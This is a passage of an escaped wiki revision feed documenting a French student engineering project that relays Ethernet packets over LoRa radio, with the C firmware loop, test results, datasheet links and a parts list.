&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0004.jpg&amp;diff=39541</id>
		<title>Fichier:0004.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0004.jpg&amp;diff=39541"/>
				<updated>2017-02-24T14:58:03Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0003.jpg&amp;diff=39540</id>
		<title>Fichier:0003.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0003.jpg&amp;diff=39540"/>
				<updated>2017-02-24T14:57:28Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0002.jpg&amp;diff=39539</id>
		<title>Fichier:0002.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0002.jpg&amp;diff=39539"/>
				<updated>2017-02-24T14:56:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0001.jpg&amp;diff=39538</id>
		<title>Fichier:0001.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:0001.jpg&amp;diff=39538"/>
				<updated>2017-02-24T14:51:28Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39537</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39537"/>
				<updated>2017-02-24T14:51:01Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
